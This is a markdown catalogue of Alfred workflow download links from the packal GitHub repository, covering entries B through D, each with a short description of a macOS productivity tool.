* [Bamboo CI](https://github.com/packal/repository/raw/master/com.atlassian.giangvo.bamboo/bamboo-alfred-workflow.alfredworkflow) - Alfred workflow to interact with Bamboo CI. Search for projects and plans.
* [Banana Browser Tabs](https://github.com/packal/repository/raw/master/com.wordpress.shaz00m.banana_browser_tabs/banana_browser_tabs.alfredworkflow) - Send tabs from Chrome to Safari and back
* [Banana Terminal](https://github.com/packal/repository/raw/master/com.wordpress.shaz00m.banana_terminal/banana_terminal.alfredworkflow) - ➊ Search for folders and open them in a new terminal or finder ➋ Open a terminal in the directory shown by finder ➌ Open a finder window in the current directory of your terminal.
* [Base CRM](https://github.com/packal/repository/raw/master/me.johnpinkerton.alfred2-basecrm/alfred2-basecrm.alfredworkflow) - Provides easy access to Base CRM contacts, leads, and deals inside Alfred 2 (plus caching!).
* [Base Converter](https://github.com/packal/repository/raw/master/com.ahalbert.baseconverter/baseconversion.alfredworkflow) - Convert arbitrary bases(up to base 32) in Alfred 2 and copy them to the clipboard.
* [Base64 Image](https://github.com/packal/repository/raw/master/com.spr.base64image/base64_image.alfredworkflow) - Convert an Image to Base 64 Encoding
* [Basecamp](https://github.com/packal/repository/raw/master/me.johnpinkerton.alfred2-basecamp/alfred2-basecamp.alfredworkflow) - Workflow for listing your Basecamp projects.
* [Battery](https://github.com/packal/repository/raw/master/tylereich.battery/battery.alfredworkflow) - Get estimated time left on battery
* [Bear](https://github.com/packal/repository/raw/master/com.chrisbro.bear/alfred-bear.alfredworkflow) - Search and create Bear notes from Alfred
* [Bear App Workflow](https://github.com/packal/repository/raw/master/com.konrad126.bear/bear-konrad.alfredworkflow) - Simple Workflow to search Bear App notes and tags
* [Bear-Typora](https://github.com/packal/repository/raw/master/com.alfredapp.beartypora/bear-typora.alfredworkflow) - Edit Bear notes in Typora
* [BeautifulRatio](https://github.com/packal/repository/raw/master/com.yusuga.beatifulratio/beautifulratio.alfredworkflow) - This workflow calculates the Golden ratio and Silver ratio.
* [Better IMDB search](https://github.com/packal/repository/raw/master/fspinillo.alfredv2.imdb/imdb.alfredworkflow) - Search IMDB for movies and see results inside of Alfred
* [BetterSnip](https://github.com/packal/repository/raw/master/luiyezheng.BetterSnip/bettersnip.alfredworkflow) - A better Snippet, support text extension
* [BibQuery](https://github.com/packal/repository/raw/master/com.hackademic.bibquery/bibquery.alfredworkflow) - Search BibDesk from the comfort of your keyboard
* [Big Huge Thesaurus](https://github.com/packal/repository/raw/master/org.lazydev.bighugethesaurus/big-huge-thesaurus.alfredworkflow) - Search for synonyms, antonyms, related terms and similar terms on the Big Huge Thesaurus website.
* [Bing Search](https://github.com/packal/repository/raw/master/bingsearch.gedongdong.github.com/bing_search.alfredworkflow) - Get bing search results based on your query
* [Bitcoin Exchange Rates](https://github.com/packal/repository/raw/master/de.bennysamirhierl.bitcoin/bitcoin_exchange_rates.alfredworkflow) - Request current bitcoin exchange rate from blockchain.info
* [Bitwarden CLI](https://github.com/packal/repository/raw/master/com.lisowski-development.alfred.bitwarden/bitwarden-cli-alfred-workflow.alfredworkflow) - Get passwords, username and TOTP from Bitwarden
* [Bluetooth Connector](https://github.com/packal/repository/raw/master/nl.robintrietsch.bluetooth/bluetooth_device_connector.alfredworkflow) - Alfred workflow for listing known Bluetooth devices and (dis)connecting to them
* [Bluetooth On/Off](https://github.com/packal/repository/raw/master/leoflint.bluetoothonoff/bluetooth_onoff.alfredworkflow) - Turn bluetooth on or off
* [Bluetooth Power](https://github.com/packal/repository/raw/master/com.alfredapp.bluetooth/bluetooth_power.alfredworkflow) - Alfred 3 Workflow to turn Bluetooth signal 'On' or 'Off'
* [Bluetooth Switch](https://github.com/packal/repository/raw/master/com.flydev.alfred.bluetooth/bluetooth_switch.alfredworkflow) - Switch Bluetooth status
* [Bluetooth Toggle](https://github.com/packal/repository/raw/master/cubb.bluetoothtoggle/bluetooth_switch.alfredworkflow) - Turn on/off Bluetooth using applescript.
* [Bluetooth toggle](https://github.com/packal/repository/raw/master/florian.bluetooth/bluetooth_toggle.alfredworkflow) - Toggle your bluetooth on or off, indicates whether it's currently on or off
* [Blur](https://github.com/packal/repository/raw/master/tylereich.blur/blur.alfredworkflow) - Set Alfred's background blur radius
* [Boite à Lambert](https://github.com/packal/repository/raw/master/me.valentinleveque.boitealambert/boite_a_lambert.alfredworkflow) - Reproduit le rire de Christophe Lambert et fait peur aux chiens
* [Boot2Docker](https://github.com/packal/repository/raw/master/com.alfredapp.moul.boot2docker/boot2docker.alfredworkflow) - Control boot2docker
* [Browser Sugar](https://github.com/packal/repository/raw/master/com.dearrrfish.browser-switcher-alfredworkflow/browser_sugar.alfredworkflow) - Automation scripts of switching tabs between Safari/Chrome; copy tab information; open url from selection or clipboard, etc.
* [Brutto-Netto](https://github.com/packal/repository/raw/master/com.hypode.bruttonetto/bruttonetto.alfredworkflow) - Kwota netto z kwoty brutto (i odwrotnie)
* [Budget Workflow](https://github.com/packal/repository/raw/master/com.customct.Budget/budgetworkflow.alfredworkflow) - Workflow to work with budgets using Calca or any other editor.
* [Buffer from Finder](https://github.com/packal/repository/raw/master/com.simona.bufferfromfinder/buffer_from_finder.alfredworkflow) - Adds current OS X Selection to the Buffer
* [BugNot](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.bugnot/bugnot.alfredworkflow) - Get logins from bugmenot
* [Bulk File Renaming](https://github.com/packal/repository/raw/master/de.tobias-men.bulk-file-rename/bulk_file_renaming.alfredworkflow) - This workflow allows the user to rename multiple files at once using regular expressions and further options.
* [Bunch Quick Launch](https://github.com/packal/repository/raw/master/com.kjaymiller.bunch/bunch_alfred.alfredworkflow) - Quick Actions for Brett Terpstra's Bunch
* [Bundle](https://github.com/packal/repository/raw/master/nl.wendelfelius.bundle/bundle.alfredworkflow) - A really simple workflow which allows you to quickly open your Bundle-bundles in the browser.
* [BundlePhobia](https://github.com/packal/repository/raw/master/com.gilbarbara.bundlephobia/bundlephobia.alfredworkflow) - Search bundlephobia.com
* [C * Music Player](https://github.com/packal/repository/raw/master/newtriks.cmus-remote/c_music_player.alfredworkflow) - Remote control commands using cmus-remote
* [CPF/CNPJ Generator](https://github.com/packal/repository/raw/master/com.gilbarbara.cpf-generator/cpf_cnpj_generator.alfredworkflow) - Generate fake CPF/CNPJ numbers for testing
* [CSS Inliner](https://github.com/packal/repository/raw/master/com.numbbbbb/html-inline.alfredworkflow) - Inline all CSS in order to use in email.
* [Caffeinate Control](https://github.com/packal/repository/raw/master/com.shawn.patrick.rice.caffeinate.control/caffeinate_control.alfredworkflow) - Controls "caffeinate" — system command to prevent the sleep function.
* [Caffeine Toggle](https://github.com/packal/repository/raw/master/com.caffeine.toggle/caffeine_toggle.alfredworkflow) - Toggles Caffeine to keep your computer awake.
* [Calendar](https://github.com/packal/repository/raw/master/zmin.calendar/calendar.alfredworkflow) - Displays a monthly calendar with Alfred Workflow.
* [Calendar Availability](https://github.com/packal/repository/raw/master/kmarchand.calendar-avail/calendar_avail.alfredworkflow) - Read Mac Calendar DB and copy schedule or availability to clipboard
* [Calibre Search](https://github.com/packal/repository/raw/master/com.areo-collection/calibresearch.alfredworkflow) - search your e-books in Calibre by name.
* [Calibre search](https://github.com/packal/repository/raw/master/com.mpco.calibreSearch/calibre_search.alfredworkflow) - Search book in Calibre library.
* [Call Contact Direct](https://github.com/packal/repository/raw/master/com.watts.callcontact/call_contact_direct.alfredworkflow) - Calls a contact or phone number directly using you iPhone by surpassing call button click
* [Call from iPhone](https://github.com/packal/repository/raw/master/com.semicolons.alfred.calliphone/call_from_iphone.alfredworkflow) - Uses Yosemite's Handoff feature to call the inputted phone number from your iPhone
* [Call or SMS contact](https://github.com/packal/repository/raw/master/com.AmosManneschmidt.callorsmscontact/call_or_sms_contact.alfredworkflow) - Searches through contacts and calls or texts them depending on input.
* [Call with Google Hangouts](https://github.com/packal/repository/raw/master/com.willpuckett.cgh/call_with_google_hangouts.alfredworkflow) - Call with Google Hangouts
* [CalmNotifications](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.calmnotifications/calmnotifications.alfredworkflow) - Toggle Do Not Disturb
* [Can I Use?](https://github.com/packal/repository/raw/master/com.nirelbaz.caniuse/can_i_use.alfredworkflow) - Compatibility tables for support of HTML5, CSS3, SVG and other technologies in various browsers
* [CapKeyStone](https://github.com/packal/repository/raw/master/tech.peculiar.alfred.capkeystone/capkeystone.alfredworkflow) - Convert hex string to assembly and vice versa.
* [Capital Weather Gang](https://github.com/packal/repository/raw/master/org.jeef.cwg/capital_weather_gang.alfredworkflow) - Pulls the Capital Weather Gang RSS Feed
* [CardSearch](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.cardsearch/cardsearch.alfredworkflow) - Search for trading card game cards
* [Case Switch](https://github.com/packal/repository/raw/master/com.tianhaox.alfred.case_switch/case-switch.alfredworkflow) - FOOBAR ⇌ foobar OR fooBar ⇌ foo_bar OR foo-bar ⇌ fooBar
* [Change desktop background](https://github.com/packal/repository/raw/master/com.changescenery/change_scenery.alfredworkflow) - Enter a command to go to the next wallpaper for your desktop.
* [Cheatsheet](https://github.com/packal/repository/raw/master/com.mutdmour.cheatsheet/cheatsheet.alfredworkflow) - Get shortcuts for your tools
* [CheckSpelling](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.checkspelling/checkspelling.alfredworkflow) - Spelling correction in various languages.
* [Chicken Facts](https://github.com/packal/repository/raw/master/com.io.chickenfacts/chicken_facts.alfredworkflow) - This workflow allows you to view or share chicken facts from chickenfacts.io.
* [Chinese Converter](https://github.com/packal/repository/raw/master/com.amowu.chineseconverter/alfred-chinese-converter.alfredworkflow) - Convert Chinese between Traditional and Simplified by OpenCC
* [Chocolat Open](https://github.com/packal/repository/raw/master/com.dpskvn.chocolat/alfred-chocolat.alfredworkflow) - Open the current Finder folder in Chocolat
* [Chrome Bookmarks](https://github.com/packal/repository/raw/master/com.mdreizin.chrome.bookmarks/chrome-bookmarks.alfredworkflow) - Chrome/Canary/Chromium bookmarks search workflow for Alfred
* [Chrome Bookmarks](https://github.com/packal/repository/raw/master/com.chrome.bookmarks/chrome_bookmarks.alfredworkflow) - Fast Chrome bookmark searcher for Alfred.
* [Chrome Incognito](https://github.com/packal/repository/raw/master/rodrigobdz.chrome-incognito.alfred/chrome_incognito.alfredworkflow) - Open Google Chrome in Incognito mode.
* [Chrome Notepad](https://github.com/packal/repository/raw/master/com.chrome.notepad.spr/chrome_notepad.alfredworkflow) - Open a quick notepad in Chrome
* [Chrome Search](https://github.com/packal/repository/raw/master/com.alfredapp.cseeger.chromeSearch/chrome_search.alfredworkflow) - Search with Chrome instead of your default browser.
* [ChromeBookmarks](https://github.com/packal/repository/raw/master/com.mayhoo.chromebookmarks/chrome-bookmarks-1.2.0.alfredworkflow) - Search Chrome Bookmarks
* [Chromecast](https://github.com/packal/repository/raw/master/com.alfredapp.moul.chromecast/chromecast.alfredworkflow) - Control Chromecast from Alfred
* [Chromium Update](https://github.com/packal/repository/raw/master/com.k94n.alfred.chromiumupdate/chromiumupdate.alfredworkflow) - Download & Install the latest chromium build.
* [Chunkwm restarter](https://github.com/packal/repository/raw/master/chunkwm.alfredworkflow.lokecarlsson/restart_chunkwm.alfredworkflow) - Simple script to restart chunkwm via brew
* [Cisco Call](https://github.com/packal/repository/raw/master/mn.frd.ciscocall/alfred-ciscocall.alfredworkflow) - Workflow to call via your Cisco IP Phone
* [Clang Format](https://github.com/packal/repository/raw/master/me.whtsky.clang-format/clang-format.alfredworkflow) - format your code in clipboard using clang-format
* [Clean App](https://github.com/packal/repository/raw/master/com.khayes.cleanapp/clean_app.alfredworkflow) - Uninstalls applications using AppCleaner
* [Clean Applescript Dictionaries](https://github.com/packal/repository/raw/master/com.remove.dup.as.dicts.rice.shawn/clean-as-dictionaries.alfredworkflow) - Removes duplicate Applescript Dictionary Entries
* [Clean Derived Data](https://github.com/packal/repository/raw/master/me.colindrake.alfredapp.clean-derived/clean_derived_data.alfredworkflow) - Cleans Xcode's Derived Data folder. Icon thanks to Huu Nguyen.
* [Clint Eastwood Are You Feeling Lucky Punk Google Search](https://github.com/packal/repository/raw/master/com.simonvd.clinteastwood/clint_eastwood_google_search.alfredworkflow) - Opens a "I'm feeling lucky" google search. i.e. it loads the page of the first result of a search
* [Clojure Doc Search](https://github.com/packal/repository/raw/master/pm.day.alfred2workflow.clojuredocsearch/clojure_doc_search_1_0_4.alfredworkflow) - Searches the Clojure docs on clojuredocs.org
* [CloudApp](https://github.com/packal/repository/raw/master/com.sztoltz.cloudapp/cloudapp.alfredworkflow) - Upload to CloudApp (optionally rename)
* [Cmd E Finder](https://github.com/packal/repository/raw/master/me.river11576.alfred.cmde/cmde.alfredworkflow) - Invoke Finder and/or show them side by side
* [CnyTransform](https://github.com/packal/repository/raw/master/Rouwanzi.workflow.CnyTransform/cnytransform.alfredworkflow) - 人民币大写和数字及英文写法相互转换
* [Cocoapods Search](https://github.com/packal/repository/raw/master/com.vakoinoglou.cocoapods.search/cocoapods.alfredworkflow) - A simple workflow for searching CocoaPods
* [Code Case](https://github.com/packal/repository/raw/master/fm.fastmail.dfay.codecase/code_case.alfredworkflow) - Case Converter for Code
* [CodeSandbox Templates](https://github.com/packal/repository/raw/master/com.googlemac.codesandbox/codesandbox.alfredworkflow) - Open CodeSandbox starter templates.
* [CodeVar](https://github.com/packal/repository/raw/master/codevar/codevar.alfredworkflow) - https://github.com/xudaolong/CodeVar => Javascript、alfred workflows、自动驼峰式变量、有道API、中文转英文
* [Codebox](https://github.com/packal/repository/raw/master/com.danielecook.codebox/codebox-alfred.alfredworkflow) - Search codebox snippets
* [CoffeeCoffee](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.coffeecoffee/coffeecoffee.alfredworkflow) - Prevent your computer from going to sleep
* [Coinbase rates](https://github.com/packal/repository/raw/master/com.coisnepe.cryptorates/coinbase_rates.alfredworkflow) - Get Spot/Buy/Sell prices of Bitcoin and Ether straight from Coinbase.
* [Coinstats](https://github.com/packal/repository/raw/master/io.navarro.coinstats/coinstats.alfredworkflow) - Get crypto currency price
* [Color Name](https://github.com/packal/repository/raw/master/com.mcavallo.colorname-ruby/color-name.alfredworkflow) - Get the name for a hex color.
* [Colors](https://github.com/packal/repository/raw/master/tylereich.colors/colors_v2.0.1.alfredworkflow) - Color tools for developers
* [Compress Image](https://github.com/packal/repository/raw/master/com.customct.CompressImage/compressimage.alfredworkflow) - Allows for converting and compressing images using ImageMagick
* [Compress and escape JSON](https://github.com/packal/repository/raw/master/io.github.ubuntudroid.jsoncompress/json_compressor.alfredworkflow) - Compress and escape the selected JSON
* [Contacts Filter for Text Content](https://github.com/packal/repository/raw/master/com.alfredapp.vero.contactnotes/contacts_filter_for_text_content.alfredworkflow) - Search your contacts for all text fields
* [Contao Inserttags](https://github.com/packal/repository/raw/master/com.domi1244.contao-inserttags/contao_insert_tags.alfredworkflow) - Adds a workflow to AlfredApp, which gets all Contao Insert Tags for you.
* [Continuity Support](https://github.com/packal/repository/raw/master/com.danielmarshallblog.continuity/continuity_support.alfredworkflow) - Enables calling and messaging via contacts or number input
* [Control [email protected] in Google Chrome](https://github.com/packal/repository/raw/master/com.tangledhelix.focusatwill.chrome/focusatwill-in-google-chrome.alfredworkflow) - Control your focusatwill.com tab in Google Chrome using hotkeys or keywords.
* [Control [email protected] within Apple Safari](https://github.com/packal/repository/raw/master/com.tangledhelix.focusatwill.safari/control_focuswill_within_apple_safari.alfredworkflow) - Play/pause or next track for [email protected] (focusatwill.com) running in Apple Safari
* [Convert](https://github.com/packal/repository/raw/master/net.deanishe.alfred-convert/convert-2.6.alfredworkflow) - Convert between different units. No Internet connection required.
* [Convert Number](https://github.com/packal/repository/raw/master/at.robhor.alfred.numbers/convertnumber.alfredworkflow) - Converts numbers between different bases
* [Convert OS Paths](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-convert-os-path-workflow/alfred-convert-os-path.alfredworkflow) - Worflow for swithching back and forth between UNIX and Windows Paths, specifically between Mapped Drives and Mounted Network Volumes.
* [Convert Word document to PDF](https://github.com/packal/repository/raw/master/com.vdesabou.convert.word.to.pdf/convert_word_document_to_pdf_1.6.alfredworkflow) - Alfred workflow to convert Word document to PDF
* [Convert python2 to python3](https://github.com/packal/repository/raw/master/com.bhishanpdl.convert_py2_py3/convert_python2_to_python3.alfredworkflow) - Convert the python2 to python3 (Supports Keyword action, MacOS selection, Snippet Expansion, and File Action)
* [Copy Dropbox Link](https://github.com/packal/repository/raw/master/cohen.uri.copydblink/copy-dropbox-link.alfredworkflow) - An Alfred plugin to copy a dropbox link for a chosen file
* [Copy File Contents](https://github.com/packal/repository/raw/master/com.bhishanpdl.copyfilecontents/copy_file_contents.alfredworkflow) - Copy contents of file without opening it
* [Copy Finder Path](https://github.com/packal/repository/raw/master/com.willpuckett.cfp/copy_finder_path.alfredworkflow) - Copies POSIX path of frontmost Finder window
* [Copy Last Download to Here](https://github.com/packal/repository/raw/master/com.bhishanpdl.copylastdownloadtohere/copy_last_download_to_pwd.alfredworkflow) - Copy last downloaded file to the current directory
* [Copy Mail Message URL](https://github.com/packal/repository/raw/master/com.webkenny.copymessageurl/copy_mail_message_url.alfredworkflow) - Copies the selected message's URL to your clipboard from Mail.app
* [Copy SSH Key](https://github.com/packal/repository/raw/master/com.flydev.idrsapub/copy_ssh_key.alfredworkflow) - Copy your id_rsa.pub content to clipboard
* [Copy SSH Public Key](https://github.com/packal/repository/raw/master/oldcai.ssh.publickey.copy/copy_ssh_public_key.alfredworkflow) - Helps you find and copy SSH public key to Clipboard or even creates shell script to help you generate ~/.ssh/authorized_keys file.
* [Copy URL](https://github.com/packal/repository/raw/master/com.fallroot.copyurl/copyurl.alfredworkflow) - You can copy browser's URL and title with various formats like markdown, anchor tag and your own.
* [Copy/Move To](https://github.com/packal/repository/raw/master/com.customct.CopyMoveWorkflow/copy-moveto.alfredworkflow) - A easy to expand copy/move to command in the Alfred browser.
* [Countries](https://github.com/packal/repository/raw/master/com.alfredapp.adamfernung.country_information/country_information.alfredworkflow) - View Country Information
* [Craft CMS Reference Search](https://github.com/packal/repository/raw/master/no.mmikkel.craftreferencesearch.alfredworkflow/craftreferencesearch.alfredworkflow) - Searches the offical Craft CMS class reference
* [CrashPlan Control](https://github.com/packal/repository/raw/master/com.gilbarbara.crashplan-control/crashplan-control.alfredworkflow) - Provides an easy way to control CrashPlan service
* [Create Folder In …](https://github.com/packal/repository/raw/master/com.muppetgate.workflow.createFolderIn/create_folder_in.alfredworkflow) - It creates folders, basically.
* [Create New File in Finder (with file type templates)](https://github.com/packal/repository/raw/master/ianisted.newfile/create_new_file_in_finder.alfredworkflow) - Allows you to quickly create new files in Finder. This workflow also allows you to add pre-filled file templates.
* [Create RAM drive](https://github.com/packal/repository/raw/master/com.ramdrive.workflow.com/ram_drive.alfredworkflow) - Make RAM drive in a seconds
* [Create Sticky Notification](https://github.com/packal/repository/raw/master/com.calebgrove.sn/create_sticky_notification.alfredworkflow) - Create a notification using Sticky Notifications (app)
* [Create new file (en)](https://github.com/packal/repository/raw/master/pro.firepanther.new_en/new_en.alfredworkflow) - Create a new file (optionally with a filename and -extension) in the current Finder window.
* [Create symlink](https://github.com/packal/repository/raw/master/com.fpira.alfred.wf.symlink/create_symlink.alfredworkflow) - Easily create a symlink from search to the frontmost Finder window
* [CryptoCurrency Price Tracker](https://github.com/packal/repository/raw/master/com.cryprotracker/cryptotracker.alfredworkflow) - Quickly check cryptocurrency prices
* [Cryptocurrency Exchange](https://github.com/packal/repository/raw/master/io.github.zhangxi-lam.cryptocurrency/cryptocurrency_0.1.1.alfredworkflow) - Show the information of various of virtual currency, convert between cryptocurrencies
* [Cryptocurrency Price Checker](https://github.com/packal/repository/raw/master/com.sungmin.coin/coin.alfredworkflow) - This is an Alfred workflow to glance price of cryptocurrencies.
* [Cupcake Ipsum](https://github.com/packal/repository/raw/master/me.dettogatto.cupcakeipsum/cupcake_ipsum.alfredworkflow) - Pastes a delicious random generated text to your selected document.
* [Currency Calculator (en)](https://github.com/packal/repository/raw/master/pro.firepanther.currency_en/currency_en.alfredworkflow) - Calculates from dollar or euro to some selected currencies (default: chf, gbp, eur, usd, try)
* [Currency Converter](https://github.com/packal/repository/raw/master/com.etenal.currencyexchange/currency.exchange.alfredworkflow) - Currency Exchange include BTC, ETH
* [Currency Converter](https://github.com/packal/repository/raw/master/net.exit4web.currencyconverter/currency.converter.alfredworkflow) - A simple Alfred 2 Currency Converter workflow
* [Currency Exchange](https://github.com/packal/repository/raw/master/co.theengineer.currencyExchange/currency_exchange.alfredworkflow) - Alfred workflow to convert between currencies (including Bitcoin)
* [Currency exchange](https://github.com/packal/repository/raw/master/io.navarro.currencyexchange/currency_exchange.alfredworkflow) - Exchange currencies
* [Currency to buy](https://github.com/packal/repository/raw/master/com.paulosilva.currencytobuy/buy-currency.alfredworkflow) - This workflow provides the current value to buy some currencies like dollar, euro and pound in exchange houses at Brazil, based on information provided by Melhor Câmbio website.
* [Current Ethereum Block Number](https://github.com/packal/repository/raw/master/com.firesofmay.currentethblock/current_eth_block.alfredworkflow) - Finds out the Current eth block number
* [D2 - Developer Documentation](https://github.com/packal/repository/raw/master/com.nirelbaz.d2/d2.alfredworkflow) - Quick access to popular libraries, frameworks & tools online developer documentation
* [DEVONthink](https://github.com/packal/repository/raw/master/com.davidmohl.alfred-devonthink/devonthink.alfredworkflow) - Alfred -> DEVONthink
* [DEVONthink search](https://github.com/packal/repository/raw/master/com.mpco.devonthinkSearch/devonthink_search.alfredworkflow) - Search in specific database of DEVONthink
* [DHCP Toggle](https://github.com/packal/repository/raw/master/com.shawn.patrick.rice.dhcp.toggle/dhcp-toggle.alfredworkflow) - Set your Wi-Fi DHCP settings to auto or manual.
* [DJ Pedro](https://github.com/packal/repository/raw/master/com.dotson.DJPedro/dj_pedro.alfredworkflow) - Create an iTunes playlist based on Last.fm's Similar Artist feature.
* [DLsite Opener](https://github.com/packal/repository/raw/master/com.fromkk.dlsite/dlsite.alfredworkflow) - Opens the DLsite webpage by selecting RJ code
* [DNS Propagation Checker](https://github.com/packal/repository/raw/master/com.incore.alfred.dnspropcheck/dns_propagation_check.alfredworkflow) - Check domain's DNS Propagation
* [DOI Tools](https://github.com/packal/repository/raw/master/org.buschmeier.alfred.workflow.doitools/doi-tools.alfredworkflow) - Alfred workflow for DOI queries and actions
* [DS_Store Cleaner](https://github.com/packal/repository/raw/master/com.chintanbuch.alfred.cleands/ds_store_cleaner.alfredworkflow) - Clean DS_Store files from the active Filder folder
* [Dark Mode Toggle](https://github.com/packal/repository/raw/master/com.sirshanksalot.dark-mode-toggle/darkmode.alfredworkflow) - Toggles Dark Mode/Light Mode in MacOS 10.10+
* [Dark Sky Weather for Alfred](https://github.com/packal/repository/raw/master/com.andrewbenson.darkskyalfred/dark_sky.alfredworkflow) - Access hyper-localized weather forecasts quickly via Dark Sky
* [DarkOrLight](https://github.com/packal/repository/raw/master/com.lisongcheng.daynight/darkorlight.alfredworkflow) - Change macOS theme to Dark/Light with one click
* [Date Calculator](https://github.com/packal/repository/raw/master/de.leenno.datecalculator/date_calculator.alfredworkflow) - Display or calculate with current date and time.
* [Date Calculator](https://github.com/packal/repository/raw/master/muppet.gate.net.DateCalculator/date_calculator.alfredworkflow) - A basic date calculator
* [Date Converter](https://github.com/packal/repository/raw/master/com.dateFormatter.cyrusn/date_converter.alfredworkflow) - Chinese date formatter
* [Datetime Format Converter](https://github.com/packal/repository/raw/master/com.michaelwaterfall.datetime-format-converter/datetimeformatconverter.alfredworkflow) - Convert between timestamps and formatted datetime strings with ease.
* [Daum Book Search](https://github.com/packal/repository/raw/master/kyungw00k.alfred.daumbook/daum_book_search.alfredworkflow) - Daum 책 검색을 Alfred에서!
* [Daum multi dictionary](https://github.com/packal/repository/raw/master/com.scryner.daumultidic/daeum_eohag_sajeon.alfredworkflow) - 다음 어학 사전에서 단어를 검색합니다.
* [Day of Year (Julian Day)](https://github.com/packal/repository/raw/master/com.poer.jd/day_of_year.alfredworkflow) - Get today day of year (julian day) number
* [DeepL translation](https://github.com/packal/repository/raw/master/com.skoda091.deepl-translation/deepl-1.1.0.alfredworkflow) - This Alfred workflow uses DeepL API for translations.
* [DeepL-Translate](https://github.com/packal/repository/raw/master/ws.willner.alex.alfred.deepl/deepl-translate.alfredworkflow) - Translation using deepl.com
* [Default Folder X](https://github.com/packal/repository/raw/master/net.deanishe.alfred-dfx/default-folder-x-0.3.0.alfredworkflow) - Show and search Default Folder X favourites and recent items.
* [DefaultBrowser Workflow for Alfred](https://github.com/packal/repository/raw/master/com.stuartryan.alfred.defaultbrowser/set-default-browser-alfred-workflow.alfredworkflow) - Allows you to quickly and easily set your default browser on OSX.
* [Dekra Casino Stuttgart](https://github.com/packal/repository/raw/master/io.hauck.dekra_casino/dekra_casino.alfredworkflow) - Opens the menu of current week in your default browser
* [Delete Duplicate Downloads](https://github.com/packal/repository/raw/master/is.asher.alfred.deleteduplicatedownloads/delete-duplicate-downloads.alfredworkflow) - An Alfred3 workflow for deleting duplicate download files and directories from your /Downloads directory that are taking up extra space for no reason.
* [DeleteConfig](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.deleteconfig/deleteconfig.alfredworkflow) - Find settings and preferences to delete
* [Denon AVR Control](https://github.com/packal/repository/raw/master/com.tylast.denonavrcontrol/denon_avr_control.alfredworkflow) - Sends commands to Denon AVR units.
* [DenteAzul](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.denteazul/denteazul.alfredworkflow) - Toggle bluetooth and paired device connectivity
* [DeskDrawer](https://github.com/packal/repository/raw/master/carlosnz.deskdrawer/deskdrawer_v1.5.alfredworkflow) - Creates a special "Drawer" folder with Alfred for stashing your Desktop clutter.
* [DevDocs](https://github.com/packal/repository/raw/master/com.yannickglt.alfred2.devdocs/devdocs.alfredworkflow) - Alfred workflow for devdocs.io documentations
* [Devhints](https://github.com/packal/repository/raw/master/com.kevinjalbert.alfred-devhints/devhints.alfredworkflow) - Search for Devhints.io cheatsheets from Alfred
* [Dial with iPhone](https://github.com/packal/repository/raw/master/carlosnz.dialer/dial_with_iphone_v1.41a.alfredworkflow) - Send a phone number from your Mac (Contact, selected text or manual entry) to your iPhone for quick-dialling. (Requires Prowl.)
* [Dict.cc for Alfred](https://github.com/packal/repository/raw/master/de.nieting.DictCC/dictcc.alfredworkflow) - This Alfred workflow uses the offline translation databases provided by dict.cc.
* [Digital Ocean status](https://github.com/packal/repository/raw/master/fspinillo.alfredv2.digitalocean/digital_ocean_status.alfredworkflow) - Control your Digital Ocean droplets
* [Directory Processing Workflow](https://github.com/packal/repository/raw/master/com.customct.DirectoryProcessingWF/directoryprocessingworkflow.alfredworkflow) - Sequentially running through the directories or files in a given directory.
* [Discogs Explorer](https://github.com/packal/repository/raw/master/com.dotson.discogsexplorer/discogs_explorer.alfredworkflow) - Explore Discogs.com database within an Alfred window.
* [Display Brightness](https://github.com/packal/repository/raw/master/com.fniephaus.brightness/display-brightness.alfredworkflow) - Adjust your display's brightness with Alfred
* [Display GeoJSON](https://github.com/packal/repository/raw/master/com.rupertdev.geojson.workflow/display_geojson.alfredworkflow) - Display pasted GeoJSON on geojson.io
* [Display Month Calendar](https://github.com/packal/repository/raw/master/com.alfredapp.month.cal.display/display_month_calendar.alfredworkflow) - Displays calendar for current month on screen using large type
* [Div](https://github.com/packal/repository/raw/master/com.pawelgrzybek.div/div.alfredworkflow) - Simple windows manager
* [Django Docs](https://github.com/packal/repository/raw/master/org.techouse.alfred-django-docs/django-docs-v1.0.4.alfredworkflow) - Search the Django documentation using Alfred
* [Django Secret Key Generator](https://github.com/packal/repository/raw/master/net.tyndyll.django-secret-key/generate_django_secret_key.alfredworkflow) - Generates a new random string suitable for use as a SECRET_KEY in Django apps
* [Do Not Disturb, Limited](https://github.com/packal/repository/raw/master/com.troycurtisjr.alfred.donotdisturblimited/do_not_disturb_limited_v0.1.2.alfredworkflow) - Toggle the macOS Do Not Disturb setting, optionally for a specific time period.
* [Do a Barrel Roll!](https://github.com/packal/repository/raw/master/com.barrel.roll.shawn.patrick.rice/barrel-roll.alfredworkflow) - Make either Safari or Chrome do a Barrel Roll
* [Dock Spacer](https://github.com/packal/repository/raw/master/com.bugaev.macos.dock.spacer/com.bugaev.macos_.dock_.spacer.alfredworkflow) - Adds spacers to Mac OS Dock
* [DockShelf Workflow](https://github.com/packal/repository/raw/master/com.customct.DockShelf/dockshelfworkflow.alfredworkflow) - A workflow for automating DockShelf application.
* [Docker](https://github.com/packal/repository/raw/master/com.alboom.docker/docker.alfredworkflow) - Docker command utils
* [Docker Cloud](https://github.com/packal/repository/raw/master/com.jayniz.dockercloud/docker_cloud.alfredworkflow) - Quickly jump into docker cloud stacks
* [Docker Cloud](https://github.com/packal/repository/raw/master/com.fairfly.dcloud/docker_cloud.alfredworkflow) - Shortcuts to quickly navigate Docker Cloud services and node clusters
* [Docker Wizard](https://github.com/packal/repository/raw/master/keithcirkel.docker-wizard/docker_wizard.alfredworkflow) - Control Docker machines & containers with Alfred
* [Docker Wizard](https://github.com/packal/repository/raw/master/com.keithcirkel.docker-wizard/docker_wizard.alfredworkflow) - Control Docker machines & containers with Alfred
* [Domainr](https://github.com/packal/repository/raw/master/com.spr.domainr/domainr.alfredworkflow) - Search for domains with Domainr
* [Dongers](https://github.com/packal/repository/raw/master/mn.frd.alfred-dongers/dongers.alfredworkflow) - Search dongers (unicode emoticons) easily
* [Dot](https://github.com/packal/repository/raw/master/com.pawelgrzybek.dot/dot.alfredworkflow) - Toggle dotfiles (hidden files) on macOS
